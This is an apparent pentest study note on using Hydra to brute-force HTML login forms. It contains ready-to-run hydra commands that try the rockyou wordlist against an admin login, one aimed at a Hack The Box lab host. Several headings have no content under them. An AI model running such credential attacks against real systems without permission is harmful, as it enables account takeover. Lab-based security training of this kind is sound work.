Hydra

Usage

HTTP

For HTML form-based authentication:

hydra example.com -s 8000 -l admin -P rockyou.txt http-post-form '/login.php:username=^USER^&password=^PASS^:F=<div class="log-form">' -f -u

HTTPS

Basic Auth

HTTP-POST

Example

The below example has been taken from the Web Enumeration & Exploitation of HTB's Attacking Enterprise Networks module.

We find an HTTP login form (Figure 1), attempt a failed login, and select something unique from the source code of the HTTP response (Figure 2).

Figure 1: An HTTP login form.

Figure 2: A unique string within the source code of a failed login attempt.

Then, we pass this information to hydra and perform the BFA against the login form (Figure 3).

hydra -l admin -P /usr/share/wordlists/rockyou.txt monitoring.inlanefreight.local http-post-form '/login.php:username=^USER^&password=^PASS^:F=<div class="log-form">' -f -u

Figure 3: Performing a BFA on an HTTP login form.